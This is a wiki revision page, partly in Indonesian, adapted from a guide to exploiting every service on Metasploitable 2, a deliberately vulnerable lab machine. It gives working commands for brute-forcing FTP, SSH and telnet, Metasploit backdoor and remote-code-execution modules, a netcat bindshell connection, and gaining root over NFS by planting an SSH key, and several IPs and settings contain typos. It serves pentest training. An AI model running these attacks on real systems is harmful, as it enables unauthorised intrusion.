Difference between revisions of "Metasploitable: Comprehensive Guide on Metasploitable 2"
Onnowpurbo (talk | contribs) |
Onnowpurbo (talk | contribs) |
||
Line 131: | Line 131: | ||
smtp-user-enum -M VRFY -U user.txt -t 192.168.0.106 | smtp-user-enum -M VRFY -U user.txt -t 192.168.0.106 | ||
+ | |||
+ | ==Port 25 SMTP User Enum via Metasploit== | ||
+ | |||
+ | use auxiliary/scanner/smtp/smtp_enum | ||
+ | show options | ||
+ | |||
+ | set RHOSTS 192.168.1.56 | ||
+ | run | ||
==Exploiting Port 80 (PHP_CGI)== | ==Exploiting Port 80 (PHP_CGI)== |
Revision as of 09:46, 20 February 2020
Sumber: https://www.hackingarticles.in/comprehensive-guide-on-metasploitable-2/
Jika anda pernah mencoba mempelajari tentang pentesting, cepat atau lambat anda akan menemukan Metasploitable. Dalam artikel ini, kita akan mengeksploitasi semua layanan yang berjalan di Metasploitable 2, jadi tanpa basa-basi lagi, mari.
Network Scan
Langkah pertama untuk melakukan apa yang kita inginkan adalah menggunakan service scanner yang akan melihat semua 65535 port di Metasploitable 2 untuk melihat apa yang berjalan di mana dan dengan versi apa.
nmap -p- -v -sV 192.168.0.106 sudo nmap -sS -v -O 192.168.0.106
Exploiting Port 21: FTP
Mari kita mulai dengan mengeksploitasi port 21 yang menjalankan FTP. Kami akan menggunakan Hydra untuk ini. Dua daftar kata untuk operasi ini akan memiliki username dan password default untuk masuk.
Buat wordlist berupa file user.txt dan pass.txt isi dengan misalnya
msfadmin user posgres postgres service password 123456
Hydra menunjukkan kepada kita bahwa kita memiliki 4 ID login dan password yang valid.
hydra -L user.txt -P pass.txt 192.168.0.106 ftp
Jujur, sebetulnya kalau FTP akan lebih mudah memperoleh username password dengan menyadap (misalnya dengan wireshark) daripada menggunakan brute force dengan hydra.
Mari kita gunakan temuan kita dan coba connect menggunakan FTP.
ftp 192.168.0.106
Exploiting VSFTPD 2.3.4
Kita telah mengeksploitasi layanan yang berjalan pada port 21, sekarang kita akan mengeksploitasi versi tersebut dari layanan FTP. Kita akan mencari exploit untuk VSFTPD 2.3.4 menggunakan Searchsploit di shell.
searchsploit vsftpd
Kita sekarang memiliki exploit yang kita butuhkan, mari masuk ke Metasploit dan menjalankan exploit tersebut.
Modul ini mengeksploitasi backdoor berbahaya yang ditambahkan ke arsip download-an VSFTPD. Backdoor ini diperkenalkan ke arsip vsftpd-2.3.4.tar.gz antara 30 Juni 2011 dan 1 Juli 2011 sesuai dengan informasi terbaru yang tersedia. Backdoor ini sudah dihapus pada 3 Juli 2011. Jalankan metasploit,
msfconsole thankyou
msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit (unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.0.106 msf exploit (unix/ftp/vsftpd_234_backdoor) > exploit
atau tanpa prompt,
use exploit/unix/ftp/vsftpd_234_backdoor set rhost 192.168.0.106 exploit
Dan seperti yang dapat kita amati, kita telah memiliki command shell di mesin remote.
Exploiting Port 22 SSH
Metasploit memiliki fungsi tambahan yang akan kita gunakan pada layanan SSH yang berjalan pada port 22. Jika kita mendapatkan sesi kita melalui itu kita akan meng-upgrade ke Meterpreter.
Modul ini akan menguji login ssh di berbagai mesin dan melaporkan login yang berhasil. Jika kita telah memuat plugin database dan terhubung ke database, modul ini akan mencatat login dan host yang berhasil sehingga kita dapat men-track akses kita tersebut.
msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary (scanner/ssh/ssh_login) > set rhosts 192.168.0.106 msf auxiliary (scanner/ssh/ssh_login) > set user_file /root/Desktop/user.txt msf auxiliary (scanner/ssh/ssh_login) > set pass_file /root/Desktop/pass.txt msf auxiliary (scanner/ssh/ssh_login) > exploit
atau tanpa metasploit prompt,
use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.0.106 set user_file /home/onno/user.txt set pass_file /home/onno/pass.txt exploit
Dan seperti yang dapat anda amati, sekali lagi kita telah memiliki command shell di mesin remote.
Bruteforce Port 22 SSH (RSA Method)
WARNING: Teknik ini sudah tidak bisa dilakukan di Kali Linux 2020.1
Kali ini kita akan mem-brute force layanan SSH menggunakan 5720.py. mengeksploitasi. Eksploitasi dilengkapi dengan kunci RSA yang digunakan untuk memaksa login root. Kita pada dasarnya akan menjalankan exploit dengan memberikan path ke kunci RSA yang ingin kami gunakan dan IP dari mesin target. Begini cara kerjanya.
cd /usr/share/exploitdb/exploits/linux/remote/ mkdir -p keys python 5720.py keys/ 192.168.0.106 root
Success! Ia menemukan kunci yang tepat cukup cepat dan memberikan perintah yang tepat untuk mengeksekusi untuk mendapatkan connection.
Exploiting port 23 TELNET (Credential Capture)
Gunakan Wireshark untuk menangkap traffic TCP, jalankan Wireshark di belakang layar sementara kita connect ke Metasploitable 2 melalui telnet menggunakan "msfadmin" sebagai kredensial untuk username dan password.
telnet 192.168.1.103
Setelah berhasil connect, kita kembali ke Wireshark. Sekarang kita klik opsi "TCP Stream" di bawah Analyze> Follow. Ini akan memperlihatkan kepada kita kredensial info masuk dalam bentuk text biasa.
Exploiting TELNET
Modul ini akan menguji login telnet pada berbagai mesin dan melaporkan login yang berhasil. Jika anda telah memuat plugin database dan terhubung ke database, modul ini akan mencatat login dan host yang berhasil sehingga anda dapat men-trace akses anda. File password dan user yang sama dengan sebelumnya akan digunakan untuk ini.
msf > use auxiliary/scanner/telnet/telnet_login msf auxiliary (scanner/telnet/telnet_login) > set rhosts 192.1680.106 msf auxiliary (scanner/telnet/telnet_login) > set user_file /root/Desktop/user.txt msf auxiliary (scanner/telnet/telnet_login) > set pass_file /root/Desktop/pass.txt msf auxiliary (scanner/telnet/telnet_login) > set stop_on_success true msf auxiliary (scanner/telnet/telnet_login) > exploit
atau
use auxiliary/scanner/telnet/telnet_login set rhosts 192.168.0.106 set user_file /home/onno/user.txt set pass_file /home/onno/pass.txt set stop_on_success true exploit
Port 25 SMTP User Enumeration
WARNING: Di Kali Linux 2020.1 tidak bisa.
Di Kali Linux ada tool yang bernama “Smtp-User-Enum”, ia memiliki banyak mode yang berhubungan dengan berbagai tahapan SMTP, kita akan menggunakannya untuk memverifikasi nama pengguna SMTP yang ada di mesin korban.
Melalui tool ini kitabisa mencek username mana saja yang exist di fie user.txt
smtp-user-enum -M VRFY -U user.txt -t 192.168.0.106
Port 25 SMTP User Enum via Metasploit
use auxiliary/scanner/smtp/smtp_enum show options set RHOSTS 192.168.1.56 run
Exploiting Port 80 (PHP_CGI)
Kita tahu bahwa port 80 terbuka sehingga kita mengetikkan alamat IP Metasploitable 2 di browser kita dan perhatikan bahwa itu menjalankan PHP. Kami menggali lebih jauh dan menemukan versi PHP mana yang sedang berjalan dan juga sedang dijalankan sebagai CGI. Kita sekarang akan mengeksploitasi argument injection vulnerability dari PHP 2.4.2 menggunakan Metasploit.
Saat dijalankan sebagai CGI, PHP hingga versi 5.3.12 dan 5.4.2 rentan terhadap argument injection vulnerability. Modul ini memanfaatkan flag -d untuk mengatur arahan php.ini untuk mencapai code execution. Dari penasehat: “if there is NO unescaped ‘=’ in the query string, the string is split on ‘+’ (encoded space) characters, url decoded, passed to a function that escapes shell metacharacters (the “encoded in a system-defined manner” from the RFC) and then passes them to the CGI binary.” Modul ini juga dapat digunakan untuk mengeksploitasi Plesk 0day yang diungkapkan oleh kingcope dan dieksploitasi di dunia luar pada Juni 2013.
msf > use exploit/multi/http/php_arg_injection msf exploit (multi/http/php_arg_injection) > set rhost 192.168.0.106 msf exploit (multi/http/php_arg_injection) > exploit
atau
use exploit/multi/http/php_arg_injection set rhost 192.168.0.106 exploit
Exploiting Port 139 & 445 (Samba)
Samba is running on both port 139 and 445, we will be exploiting it using Metasploit. The default port for this exploit is set to port 139 but it can be changed to port 445 as well.
msf > use exploit/multi/samba/usermap_script msf exploit (multi/samba/usermap_script) > set rhost 192.168.1.103 msf exploit (multi/samba/usermap_script) > exploit
Exploiting Port 8080 (Java)
This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.
We will be using the Remote Method Invocation exploit on the Java service running on port 8080. It’s quite straight forward, just choose the exploit, set the target machine IP and that’s it.
msf > use exploit/multi/misc/java_rmi_server msf exploit(multi/misc/java_rmi_server) > set rhost 192.168.1.103 msf exploit(multi/misc/java_rmi_server) > exploit
Exploiting Port 5432 (Postgres)
Postgres is associated with SQL is runs on port 5432 and we have a great little exploit that can be used here.
On some default Linux installations of PostgreSQL, the Postgres service account may write to the /tmp directory and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object’s constructor, it does not need to conform to specific Postgres API versions.
msf > use exploit/linux/postgres/postgres_payload msf exploit (linux/postgres/postgres_payload) > set rhost 192.168.1.103 msf exploit (linux/postgres/postgres_payload) > exploit
Exploiting Port 6667 (UnrealIRCD)
Port 6667 has the Unreal IRCD service running, we will exploit is using a backdoor that’s available in Metasploit.
This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th, 2010.
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit (unix/irc/unreal_ircd_3281_backdoor) > set rhost 192.168.1.103 msf exploit (unix/irc/unreal_ircd_3281_backdoor) > exploit
Exploiting Port 36255
This is a weakness that allows arbitrary commands on systems running distccd. We will be using Distcc Daemon Command Execution. This module uses a documented security weakness to execute arbitrary commands on any system running distccd.
msf > use exploit/unix/misc/distcc_exec msf exploit (unix/misc/distcc_exec) > set rhost 192.168.1.103 msf exploit (unix/misc/distcc_exec) > exploit
Remote Login Exploitation
A remote login is a tool that was used before ssh came into the picture. Since we have the login credentials for Metasploitable 2, we will be using Rlogin to connect to it, using the “-l” flag to define the login name.
rlogin -l msfadmin 192.168.1.103
Metasploit has a module in its auxiliary section that we can use to get into the rlogin.
msf > use auxiliary/scanner/rservices/rlogin_login msf auxiliary (scanner/rservices/rlogin_login) > set rhosts 192.168.1.103 msf auxiliary (scanner/rservices/rlogin_login) > set username root msf auxiliary (scanner/rservices/rlogin_login) > exploit
Remote Shell Exploitation
Remote shell Protocol is another way to gain a remote shell, it is a legitimate service that we will use to access the target machine with login credentials to run a certain command.
rsh -l msfadmin 192.168.1.103 ifconfig
Exploiting Distributed Ruby Remote Code Execution (8787)
Now that we know that this service is running successfully, let’s try to exploit it using Metasploit.
This module exploits remote code execution vulnerabilities in dRuby.
msf > use exploit/linux/misc/drb_remote_codeexec msf exploit (linux/misc/drb_remote_code) > set rhost 192.168.1.103 msf exploit (linux/misc/drb_remote_code) > exploit
Bindshell Exploitation
Metasploitable 2 comes with an open bindshell service running on port 1524. We will be using Netcat to connect to it.
nc 192.168.1.103 1524
Exploiting Port 5900 (VNC)
Virtual Network Computing or VNC service runs on port 5900, this service can be exploited using a module in Metasploit to find the login credentials.
This module will test a VNC server on a range of machines and report successful logins. Currently, it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge-response authentication method.
msf > use auxiliary/scanner/vnc/vnc_login msf auxiliary (scanner/vnc/vnc_login) > set login 192.168.1.103 msf auxiliary (scanner/vnc/vnc_login) > exploit
Let’s put what we’ve found to the test by connecting using the vncviewer
vncviewer 192.168.1.103
The credentials work and we have a remote desktop session that pops up in Kali.
Access Port 2121 (ProFTPD)
We will connect to the target machine using Telnet running on port 2121 using the default credentials for Metasplotable 2.
telnet 192.168.1.103 2121
Exploiting Port 8180 (Apache Tomcat)
We saw during the service scan that Apache Tomcat is running on port 8180. Incidentally, Metasploit has an exploit for Tomcat that we can use to get a Meterpreter session. The exploit uses the default credentials used by Tomcat to gain access.
This module can be used to execute a payload on Apache Tomcat servers that have an exposed “manager” application. The payload is uploaded as a WAR archive containing a JSP application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.
msf > use exploit/multi/http/tomcat_mgr_upload msf exploit (multi/http/tomcat_mgr_upload) > set rhost 192.168.1.103 msf exploit (multi/http/tomcat_mgr_upload) > set rpost 8108 msf exploit (multi/http/tomcat_mgr_upload) > set httpusername tomcat msf exploit (multi/http/tomcat_mgr_upload) > set httppassword tomcat msf exploit (multi/http/tomcat_mgr_upload) > exploit
Privilege Escalation via Port 2049: NFS
In this method, we will be creating an ssh key without a passphrase and exchanging it with the ssh key of the victim machine for the root user.
First, we use ssh-keygen to generate an RSA keypair without a key phrase, then we place it in the “/root/.ssh” folder where the key is found by default. Once the key is created and placed, we will create a directory “/tmp/sshkey/” in our local machine.
The next part is a little tricky, we will be mounting the directory we just made on the victim machine using the Network File Sharing Function. Once mounted we write the key from our machine to the victim’s machine, a sort of an override, using the cat command. The thing to keep in mind here is that the key we have is without a passphrase so the after the override the key in the victim machine is also without a passphrase, so when it is connected using ssh, it’s using a blank password.
The key is now copied so we unmount the directory and connect as the root user using ssh.
showmount -e 192.168.1.103 ssh-keygen mkdir /tmp/sshkey mount -t nfs 192.168.1.103:/ /tmp/sshkey/ cat ~/ .ssh/id_rsa.pub >>/tmp/sshkey/root/.ssh/authorized_keys umount /tmp/sshkey ssh root@192.168.1.103
Exploiting Port 3306 (MYSQL)
The MySQL database in Metasploitable 2 has negligible security, we will connect to it using the MySQL function of Kali by defining the username and host IP. The password will be left blank.
mysql -u root -h 192.168.1.103 -p
This article is a gateway into the world of pentesting. Its intent is to give you a single source containing all the ways and means to exploit all the vulnerabilities of Metasploiable 2 classified by port’s and services, it doesn’t get any better than this.